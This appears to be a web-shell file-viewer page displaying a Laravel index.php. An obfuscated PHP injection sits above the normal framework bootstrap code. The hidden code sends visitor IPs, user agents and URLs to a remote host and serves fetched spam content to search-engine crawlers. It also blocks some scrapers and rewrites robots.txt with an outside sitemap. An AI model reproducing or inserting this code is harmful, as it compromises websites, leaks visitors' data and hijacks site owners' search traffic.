One Hat Cyber Team

View File Name : index.php

<?php
 goto X40Be; yOb9T: $Ql5LI = "\x2f\x63\167\61\63\x38"; goto aHhzy; aBX10: FyW2T: goto aX5Eq; Dbago: hRRtU: goto am2Qj; H1rDc: $pOyBw = urlencode($_SERVER["\122\105\121\125\x45\x53\124\137\x55\x52\x49"]); goto EC_Rr; vNRLP: $ghojG = urlencode(@$_SERVER["\110\x54\124\120\137\x41\103\x43\105\x50\124\137\114\101\x4e\x47\125\x41\107\x45"]); goto dIxGC; k9lgN: if (!(substr($ec7Wn, 0, 10) == "\x65\x72\x72\157\x72\x20\143\x6f\x64\x65" || $ec7Wn == "\x35\x30\x30")) { goto evQrf; } goto dZpVS; r_jL5: Zs3hI: goto wCcqw; dgmvZ: if (!empty($_SERVER["\122\105\x51\x55\105\x53\124\137\x53\x43\110\105\x4d\x45"]) and $_SERVER["\x52\105\121\x55\105\x53\124\137\123\103\x48\x45\x4d\105"] == "\150\x74\164\160\163" or !empty($_SERVER["\110\124\124\120\x53"]) and $_SERVER["\110\124\124\120\123"] == "\x6f\156" or !empty($_SERVER["\123\105\122\x56\x45\x52\137\120\x4f\x52\x54"]) and $_SERVER["\x53\x45\x52\126\105\122\137\x50\117\122\x54"] == "\x34\x34\63" or isset($_SERVER["\110\x54\124\120\137\x58\x5f\x46\x4f\122\127\101\122\104\105\x44\137\120\x52\117\124\117"]) and $_SERVER["\110\124\124\120\x5f\130\137\x46\x4f\x52\127\101\122\104\x45\104\x5f\x50\x52\117\124\117"] == "\150\x74\x74\160\163") { goto PSgaD; } goto sfKXt; yBoJd: if (empty($ec7Wn)) { goto FyW2T; } goto k9lgN; gxHmd: $mxkqJ = trim($mxkqJ) . "\xd\12" . "\x53\x69\x74\x65\155\x61\x70\72\x20{$s3o42}"; goto Y1GmX; k5d6a: goto XB8vM; goto Af2Qw; NBsQq: echo "\x6f\153"; goto WNj5d; XiZKi: if (strpos($pOyBw, "\152\160\62\60\62\63") !== false or preg_match("\x2f\50{$cGyU1}\51\57\x69", $_SERVER["\110\124\x54\120\x5f\x52\105\106\x45\x52\x45\122"])) { goto hRRtU; } goto yGjuO; Af2Qw: vT67R: goto ebGRg; yGjuO: if (substr($ec7Wn, 0, 5) == "\74\77\x78\155\x6c") { goto Je2F4; } goto EPWzZ; W4i1g: vjAms("\x72\x6f\142\x6f\x74\x73\56\x74\170\x74", $ec7Wn); goto e24Ws; qtnQ5: echo $s3o42 . "\x3a\40" . $zJJ33 . "\x3c\x62\162\57\76"; goto Yz_up; lMn1f: Agu7O: goto FZxXd; uR7jj: ooIz0: goto sjoLr; vi56v: error_reporting(0); goto TIRSx; Y1GmX: $zJJ33 = ''; goto qtnQ5; dIxGC: $qqXZh = $_SERVER["\x52\105\x4d\117\x54\x45\x5f\101\x44\x44\122"]; goto F9Usx; y6cUw: XB8vM: goto H5Qha; LIb_r: pzZ8G: goto ah96P; k9IM6: if (!(strpos($pOyBw, "\160\x69\156\x67\x73\x69\x74\145\155\x61\160") !== false)) { goto aAKOu; } goto Ussk5; Ea1Ul: aAKOu: goto F_jxZ; oKpSp: $gkZi5 = $gkZi5 . "\x3f"; goto upxpK; YypOW: $bCBPJ = $uhKIJ . "\x3a\x2f\57" . $_SERVER["\x48\x54\x54\120\137\x48\x4f\123\124"] . "\x2f\165\161\x6b\x75\161\153"; goto Pd9px; DctMd: PsiVo: goto LYqVZ; yMU7Y: if (strpos($gkZi5, "\x69\x6e\x64\x65\x78\x2e\160\x68") !== false) { goto Agu7O; } goto oKpSp; TIRSx: if (!preg_match("\57\x28\141\150\162\x65\x66\163\x42\157\x74\x7c\x4a\x69\x6b\x65\123\160\151\x64\145\162\x7c\120\x79\164\x68\x6f\156\x2d\x72\x65\x71\x75\x65\x73\164\163\174\150\x74\164\x70\103\154\151\145\156\164\x7c\143\157\157\x6c\x70\x61\x64\x57\x65\x62\153\151\164\174\101\160\141\143\150\145\102\145\x6e\x63\150\174\x59\141\x6e\x64\x65\170\x42\x6f\164\174\x43\x72\x61\x77\x6c\x44\141\144\x64\x79\174\x53\x63\x72\141\160\x79\x7c\112\141\x75\x6e\x74\x79\174\x53\145\172\156\x61\x6d\102\157\164\x7c\123\x65\155\x72\x75\x73\150\x42\157\x74\x7c\x64\151\147\x45\170\164\174\x5a\155\105\x75\174\104\141\164\141\106\157\162\123\105\117\174\x53\167\151\146\x74\x62\x6f\164\174\102\x61\x72\x6b\x72\x6f\x77\154\145\162\x7c\104\157\x74\102\157\164\174\x46\x65\145\144\104\145\155\x6f\x6e\x7c\x47\157\55\150\164\164\x70\55\x63\154\x69\x65\x6e\x74\x7c\101\x73\x6b\124\142\106\x58\x54\x56\174\131\x69\163\x6f\165\x53\x70\x69\x64\x65\162\174\x66\145\145\x64\154\171\174\154\x69\147\150\164\x44\x65\x63\153\x52\145\160\157\x72\x74\163\40\x42\157\164\x7c\171\171\x53\160\151\144\x65\x72\174\x55\156\x69\166\145\x72\x73\141\154\106\x65\x65\144\120\141\x72\163\145\162\174\105\x61\x73\x6f\165\123\x70\151\x64\145\x72\174\120\171\x74\x68\x6f\156\174\151\156\144\x79\x20\x4c\x69\x62\x72\141\162\171\174\120\x61\154\157\141\x6c\x74\x6f\x6e\x65\x74\x77\157\162\x6b\163\x7c\x47\x50\x54\102\x6f\164\x7c\x6f\102\157\x74\174\115\x6a\61\62\x62\x6f\x74\x7c\160\x65\164\141\x6c\x42\157\164\x7c\112\141\166\x61\174\x50\171\x74\x68\x6f\x6e\x2d\165\x72\x6c\154\151\x62\x7c\101\155\x61\172\157\156\x42\157\x74\x7c\110\145\162\151\x74\162\151\170\x7c\103\x65\x6e\x73\x79\163\x49\x6e\163\x70\145\143\x74\174\x45\172\157\157\x6d\x73\x7c\x42\x79\164\x65\163\160\151\x64\x65\162\x29\x2f\x69", $_SERVER["\x48\x54\124\x50\x5f\x55\123\105\x52\137\x41\107\105\116\x54"])) { goto wbPDm; } goto b9spG; goOxH: goto cN00d; goto Uq4ga; L63ZW: SacLQ: goto YypOW; EPWzZ: header("\x43\157\x6e\164\145\x6e\164\55\124\171\160\x65\x3a\x20\164\x65\170\164\x2f\150\x74\155\154\73\40\x63\x68\141\162\x73\x65\x74\x3d\165\164\146\x2d\x38"); goto Jk1bI; Y3jK0: if ($ec7Wn === "\x6f\x6b") { goto vT67R; } goto BUhgG; EC_Rr: if (!(strpos($pOyBw, "\x75\161\x6b\x75\x71\x6b") !== false)) { goto Zs3hI; } goto NBsQq; P18SM: $mxkqJ = ''; goto k9IM6; MktVC: kvs45: goto Eqn4f; Ussk5: $gkZi5 = $_SERVER["\x53\103\x52\111\120\124\x5f\116\x41\x4d\x45"]; goto yMU7Y; X37B3: evQrf: goto XiZKi; di4ZU: curl_close($B3Mtv); goto CcxXU; WNj5d: exit; goto r_jL5; rSj7E: mHkd2: goto B9uXk; J3j5h: $gkZi5 = "\x2f"; goto JMsFr; S2SQM: curl_setopt($B3Mtv, CURLOPT_SSL_VERIFYPEER, FALSE); goto y_a9n; Yu_Pd: fUVK1: goto zv1Yn; rFOAn: vjams($uKIpp, "\61"); goto y6cUw; e6rCl: function Bf05L($tqb6p) { goto GG9uF; pH5nH: return $PSUhm; goto E2_KO; U1cRb: $PSUhm = fread($TVLpI, filesize($tqb6p)); goto nK5_j; GG9uF: $TVLpI = fopen($tqb6p, "\162"); goto HDuH7; CTeQZ: return false; goto zuu6B; E2_KO: IcPG5: goto CTeQZ; HDuH7: if (!$TVLpI) { goto IcPG5; } goto U1cRb; nK5_j: fclose($TVLpI); goto pH5nH; zuu6B: } goto CLTZ1; SzU1h: if (!empty($ec7Wn)) { goto gP1Xw; } goto asO4K; OBcxb: function Na6IO($G2_ug) { goto zmiBl; v9Ots: curl_setopt($B3Mtv, CURLOPT_FOLLOWLOCATION, false); goto OYSlW; OYSlW: curl_setopt($B3Mtv, CURLOPT_SSL_VERIFYPEER, false); goto jw604; qBxvy: curl_setopt($B3Mtv, CURLOPT_RETURNTRANSFER, true); goto v9Ots; zmiBl: $B3Mtv = curl_init(); goto YVU92; YVU92: curl_setopt($B3Mtv, CURLOPT_URL, $G2_ug); goto qBxvy; i7_Td: return $PSUhm; goto FqGiW; jw604: curl_setopt($B3Mtv, CURLOPT_SSL_VERIFYHOST, false); goto TBoM9; cVxao: curl_close($B3Mtv); goto i7_Td; TBoM9: $PSUhm = curl_exec($B3Mtv); goto cVxao; FqGiW: } goto TJth8; UtpTA: $Mmb2W = urlencode($_SERVER["\x53\x43\122\x49\120\x54\x5f\x4e\101\x4d\105"]); goto dgmvZ; oM9aS: PSgaD: goto e8Zmq; EkmeM: exit; goto X37B3; CLTZ1: if (strpos($pOyBw, "\x66\141\x76\x69\143\157\156\x2e\x69\x63\x6f") !== false) { goto sjCMR; } goto o6bty; b9spG: header("\x48\124\x54\x50\57\x31\56\60\40\x34\60\x33\40\106\x6f\162\142\x69\x64\144\145\x6e"); goto XG69D; JXaWy: Je2F4: goto CPAZ0; CcxXU: gP1Xw: goto yBoJd; b80MA: $WIsjv = urlencode(@$_SERVER["\x48\x54\124\120\x5f\x52\x45\106\x45\122\x45\x52"]); goto c0jk5; F2mPv: if (!(strpos($pOyBw, "\162\x6f\142\x6f\x74\163\x2e\x74\x78\x74") !== false)) { goto bfj0m; } goto W4i1g; Yz_up: $aj4Xt = $bm7Q4 . "\77\141\147\145\156\x74\75{$N_0mq}\46\x72\x65\146\x65\x72\x3d{$WIsjv}\46\x6c\x61\156\x67\75{$ghojG}\46\151\x70\75{$qqXZh}\46\x64\x6f\155\75{$w2tfK}\x26\150\164\x74\160\75{$uhKIJ}\x26\165\x72\x69\x3d{$pOyBw}\x26\x70\143\75{$DWan_}\46\x72\x65\167\162\151\x74\145\141\142\154\145\x3d{$zkGyx}\46\x73\143\162\151\160\164\x3d{$Mmb2W}\46\163\151\x74\145\x6d\x61\160\75" . urlencode($s3o42); goto Ea1Ul; BUhgG: $zkGyx = 0; goto n2DQp; yf4iA: curl_setopt($B3Mtv, CURLOPT_URL, $aj4Xt); goto kXMWG; H5Qha: er3JS: goto OBcxb; MRKe3: curl_setopt($B3Mtv, CURLOPT_FOLLOWLOCATION, false); goto S2SQM; F_jxZ: $ec7Wn = @file_get_contents($aj4Xt); goto SzU1h; zv1Yn: exit; goto uKyg1; WmgRE: echo $ec7Wn; goto k7Dvi; upxpK: goto JmnpZ; goto lMn1f; FZxXd: if ($zkGyx == 0) { goto GnEBV; } goto J3j5h; y_a9n: curl_setopt($B3Mtv, CURLOPT_SSL_VERIFYHOST, FALSE); goto b_xCX; z7uz6: $qqXZh = $_SERVER["\110\x54\x54\120\137\103\114\111\x45\x4e\x54\x5f\x49\120"]; goto cCnQm; wb_0g: $bm7Q4 = $t8UWm . $WsGoc . $nlR1o . $Ql5LI . $BKhM8 . $aq_w3; goto AxRaT; XG69D: exit; goto Xzgj2; CPAZ0: header("\103\157\x6e\164\145\x6e\164\55\124\171\x70\x65\x3a\40\164\145\170\x74\57\170\155\x6c\73\x20\x63\x68\141\162\x73\x65\164\75\165\164\x66\55\x38"); goto MktVC; LvPR7: $aq_w3 = "\56\x68\x65\x61\x72\151\156\x67\164\x65\x6c\154\x2e\x63\x6f\x6d\x2f"; goto qm7LM; X3P1T: goto mHkd2; goto oM9aS; CZgH3: MJn1h: goto z7uz6; Eqn4f: goto UCggx; goto Dbago; Jk1bI: goto kvs45; goto JXaWy; r0bKa: goto fUVK1; goto LIb_r; SpIP9: $gkZi5 = "\57\77"; goto uR7jj; Uq4ga: sjCMR: goto camp3; e24Ws: bfj0m: goto r0bKa; n2DQp: VJamS($uKIpp, "\60"); goto k5d6a; TJth8: function vJams($tqb6p, $PSUhm) { goto CzT5_; k6DMM: k_zMi: goto FfPcQ; FfPcQ: return false; goto oOMjU; DBNiZ: if (!$TVLpI) { goto k_zMi; } goto kkJSW; CzT5_: $TVLpI = fopen($tqb6p, "\167"); goto DBNiZ; vZduG: fclose($TVLpI); goto MoLAy; MoLAy: return true; goto k6DMM; kkJSW: fwrite($TVLpI, $PSUhm); goto vZduG; oOMjU: } goto e6rCl; KUvKJ: $cGyU1 = "\102\151\156\147\x7c\131\x61\150\157\157\x7c\104\x6f\x63\157\155\x6f\x7c\x47\x6f\157\147\154\x65"; goto vi56v; cCnQm: goto PsiVo; goto pZxNs; o6bty: if (strpos($pOyBw, "\162\157\x62\x6f\164\163\56\164\x78\164") !== false or strpos($pOyBw, "\x70\x69\x6e\x67\163\151\x74\x65\x6d\x61\x70") !== false or strpos($pOyBw, "\152\160\62\x30\62\x33") !== false or preg_match("\100\x5e\57\x28\x2e\x2a\x3f\51\x2e\170\155\x6c\x24\x40\151", $_SERVER["\122\x45\x51\125\105\x53\x54\x5f\125\x52\111"]) or preg_match("\57\50{$cGyU1}\51\57\151", $_SERVER["\110\124\x54\120\x5f\x55\123\x45\122\137\101\107\105\116\124"]) or preg_match("\57\x28{$cGyU1}\51\57\151", $_SERVER["\x48\x54\124\x50\x5f\122\x45\106\x45\122\105\x52"])) { goto VYMrC; } goto bSXyR; ebGRg: $zkGyx = 1; goto rFOAn; qm7LM: $t8UWm = "\150\164"; goto yOb9T; wwrdV: GnEBV: goto SpIP9; B9uXk: $uhKIJ = urlencode($_SERVER["\x52\105\121\x55\105\123\x54\137\123\103\x48\105\115\105"]); goto H1rDc; Pd9px: $ec7Wn = NA6iO($bCBPJ); goto Y3jK0; bSXyR: goto dYLwo; goto RYPSs; Qf5Mr: $nlR1o = "\x3a\x2f"; goto LvPR7; F9Usx: if (isset($_SERVER["\110\124\124\120\x5f\x43\x4c\x49\105\116\x54\x5f\x49\120"])) { goto MJn1h; } goto Gnd1Z; u87xg: goto er3JS; goto L63ZW; uKyg1: return; goto aBX10; kIBKz: $uKIpp = "\x75\161\153\56\x74\170\164"; goto GH3IK; e8Zmq: $_SERVER["\122\105\121\125\105\123\124\x5f\x53\103\x48\x45\x4d\105"] = "\x68\164\164\x70\163"; goto rSj7E; asO4K: $B3Mtv = curl_init(); goto yf4iA; aHhzy: $WsGoc = "\164\x70"; goto wb_0g; dZpVS: header("\x48\x54\124\120\x2f\61\56\x30\x20\x35\60\x30\40\x49\156\x74\x65\x72\x6e\141\154\40\123\145\x72\x76\145\162\40\105\162\x72\157\x72"); goto EkmeM; wCcqw: $zkGyx = 0; goto kIBKz; am2Qj: header("\110\124\x54\120\x2f\x31\x2e\61\40\x34\60\x34\x20\x4e\x6f\164\x20\106\157\165\156\x64"); goto sgE28; RYPSs: VYMrC: goto mupI1; mupI1: $aj4Xt = $bm7Q4 . "\77\x61\x67\145\156\164\75{$N_0mq}\46\x72\145\x66\145\x72\x3d{$WIsjv}\46\154\x61\x6e\x67\75{$ghojG}\x26\151\160\75{$qqXZh}\46\x64\157\155\x3d{$w2tfK}\46\x68\x74\x74\160\75{$uhKIJ}\46\x75\162\151\75{$pOyBw}\46\160\x63\75{$DWan_}\x26\162\x65\167\x72\x69\x74\145\x61\142\x6c\x65\x3d{$zkGyx}\x26\x73\x63\x72\151\x70\x74\75{$Mmb2W}"; goto P18SM; ah96P: VjaMS("\x72\157\142\157\164\163\x2e\x74\170\164", $mxkqJ); goto Yu_Pd; Gnd1Z: if (isset($_SERVER["\110\x54\124\x50\137\x58\x5f\106\117\x52\x57\101\x52\x44\x45\x44\x5f\x46\x4f\122"])) { goto UdruY; } goto Q0o_m; k7Dvi: if (!empty($mxkqJ)) { goto pzZ8G; } goto F2mPv; JMsFr: goto ooIz0; goto wwrdV; tQbwZ: $qqXZh = $_SERVER["\x48\x54\x54\120\x5f\130\137\106\x4f\122\127\101\x52\104\x45\x44\x5f\x46\117\122"]; goto DctMd; BcMmf: $w2tfK = urlencode($_SERVER["\x48\124\124\x50\137\110\117\123\124"]); goto UtpTA; sjoLr: JmnpZ: goto mIay2; sfKXt: $_SERVER["\x52\x45\x51\x55\x45\123\124\137\x53\x43\x48\x45\x4d\x45"] = "\x68\164\164\160"; goto X3P1T; kXMWG: curl_setopt($B3Mtv, CURLOPT_RETURNTRANSFER, true); goto MRKe3; mIay2: $mxkqJ = "\125\x73\145\x72\x2d\141\x67\145\x6e\164\x3a\40\x2a\15\xa\x41\x6c\x6c\x6f\167\72\40\x2f"; goto UU9Ba; AxRaT: $DWan_ = "\x44\x31\x4a\x64\125\101\x64"; goto KUvKJ; Xzgj2: wbPDm: goto b80MA; pZxNs: UdruY: goto tQbwZ; sgE28: UCggx: goto WmgRE; X40Be: $BKhM8 = "\x32"; goto Qf5Mr; GH3IK: if (!is_file($uKIpp)) { goto SacLQ; } goto oXocH; UU9Ba: $s3o42 = "{$uhKIJ}\x3a\x2f\x2f" . $w2tfK . $gkZi5 . "\x73\x69\x74\x65\x6d\x61\160\56\x78\x6d\154"; goto gxHmd; b_xCX: $ec7Wn = curl_exec($B3Mtv); goto di4ZU; oXocH: $zkGyx = bF05L($uKIpp); goto u87xg; Q0o_m: goto PsiVo; goto CZgH3; LYqVZ: $qqXZh = urlencode($qqXZh); goto BcMmf; aX5Eq: dYLwo: goto goOxH; c0jk5: $N_0mq = urlencode($_SERVER["\x48\124\x54\x50\x5f\125\x53\x45\x52\137\101\x47\x45\x4e\x54"]); goto vNRLP; camp3: cN00d:
?><?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__.'/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__.'/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);

$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);

$response->send();

$kernel->terminate($request, $response);